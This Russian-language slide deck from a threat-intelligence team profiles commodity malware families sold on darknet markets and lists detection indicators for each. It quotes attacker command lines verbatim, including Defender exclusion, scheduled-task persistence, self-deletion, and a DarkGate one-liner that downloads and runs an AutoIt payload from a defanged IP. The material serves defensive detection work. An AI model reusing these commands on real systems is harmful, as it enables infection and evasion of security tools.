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From the Darkness

Как коммерческое ВПО 
становится оружием против 
российских организаций



whoami

 Руководитель BI.ZONE Threat Intelligence

 12+ лет разбора инцидентов по всему миру

 Автор и соавтор множества исследований, 

а также книг по цифровой криминалистике 

и реагированию на инциденты

 GCFA, GCTI



Что мы можем купить в даркнете?
Да все, что угодно! 



Agent Tesla

Официальный сайт закрылся в 2018 году

Тем не менее, это не мешает
злоумышленникам продавать
«взломанные» версии



Agent Tesla

Можно найти и бесплатные версии



Agent Tesla



Agent Tesla: возможности обнаружения

1. Подозрительные файлы в подпапках AppData
2. Попытки отключения Windows Defender: powershell.exe 

Add-MpPreferenceExclusionPath [Agent Tesla]
3. Process Hollowing: MSBuild.exe, vbc.exe, RegSvcs.exe и 

другие
4. Создание задач в планировщике: schtasks.exe /Create /TN 

"Updates" /XML "[путь к временному файлу XML]"
5. Модификация разделов реестра: 

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\
Explorer\Startup Approved\Run



FormBook

Разработчики были недовольны тем, что их ПО используется атакующими 



FormBook



FormBook: возможности обнаружения

1. Подозрительные файлы в %ProgramFiles%, %Temp%, 
%Appdata%, например, C:\Program Files (x86)\Ozr4lln\rzatlltg.exe

2. Process Hollowing: svchost.exe, msiexec.exe, wuauclt.exe, и 
другие

3. Использует cmd.exe /c del, чтобы удалить оригинальный файл
4. Модификация разделов реестра:
HKLM|HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM|HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies
\Explorer\Run
5. Хранение собранных данных в %APPDATA%\Roaming, 
например, C:\Users\[username]\AppData\Roaming\609130U8\
609logrg.ini



RedLine



RedLine: возможности обнаружения

1. Задания в планировщике: "C:\Windows\System32\cmd.exe" 
/c schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr
'"C:\Users\Admin\AppData\Roaming\svchost.exe"' & exit

2. Добавление в исключения Windows Defender: Add 
MpPreference ExclusionPath
"C:\Users\Admin\AppData\Roaming\svchost.exe" Force

3. Использование https://api.ip[.]sb/ip для получения IP-
адреса скомпрометированного устройства

4. Использование WMI для сбора информации о 
скомпрометированной системе, например, SELECT * FROM 
AntivirusProduct



DarkCrystal



DarkCrystal



DarkCrystal: возможности обнаружения

1. Выбирает случайный процесс из запущенных в системе и 
перемещает свои файлы в его каталог, создав папку и 
именем, идентичным имени процесса, и назвав также 
исполняемый файл, например: C:\Users\
[user]\AppData\Local\Programs\Microsoft VS
Code\Code\Code.exe

2. Модификация раздела реестра 
HKLM\Software\Microsoft\Windows NT\
CurrentVersion\Winlogon

3. Получение сведений о скомпрометированной системе с 
использованием https://ipinfo[.]io/json



White Snake



White Snake



White Snake: возможности обнаружения

1. И снова задачи в планировщике: /C chcp 65001 && ping 
127.0.0.1 && schtasks /create /tn "[имя задания]" /sc MINUTE /tr
"[путь к файлу в созданной папке]" /rl [права для запуска] /f 
&& DEL /F /S /Q /A "[путь к файлу по предыдущему пути]" && 
START "" "[путь к файлу в созданной папке]"

2. Коммуникация с узлами Tor
3. Создание исполняемых файлов в 

C:\Users\[user]\AppData\Roaming\Microsoft\Windows\Start 
Menu\Programs\Startup и на внешних носителях

4. Сбор сведений о стране и IP-адресе с помощью запроса к 
http://ip-api[.]com/line?fields=query,country



DarkGate



DarkGate



DarkGate: возможности обнаружения

1. Загрузка и выполнение подозрительных файлов .au3:
C:\Windows\System32\cmd.exe /c mkdir c:\pyjl & cd /d c:\pyjl & 
copy c:\windows\system32\curl.exe pyjl.exe & pyjl -o 
Autoit3.exe http://45.89.65[.]198:80 & pyjl -o fEcGIf.au3 
http://45.89.65[.]198:80/msilrajnmvn & Autoit3.exe fEcGIf.au3

2. Создание пользователя для доступа через hVNC: cmd.exe 
“/c cmdkey /generic:\"127.0.0.2\" /user:\"SafeMode\" 
/pass:\"darkgatepassword0\"”

3. Создание ОЧЕНЬ подозрительных ярлыков в Startup, 
например: 
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start 
Menu\Programs\Startup\dbehhkg.lnk



Snake Keylogger



Snake Keylogger



Snake Keylogger: возможности обнаружения

1. Файлы вида: 
C:\Users\\[user]\AppData\Local\Temp\tmpG[значение от 0 до 
999].tmp

2. Сбор информации об IP-адресе устройства с 
использованием http://checkup[.]dyndns[.]org

3. Удаление оригинального файла: /C choice /C Y /N /D Y /T 3 & 
Del [местоположение]

4. Создание файлов Screenshot.png в папке SnakeKeylogger 

http://checkup[.]dyndns[.]org/


Семь ликов тьмы

Узнайте больше о том, как 
модель malware-as-a-service
помогает злоумышленникам 
атаковать российские 
организации


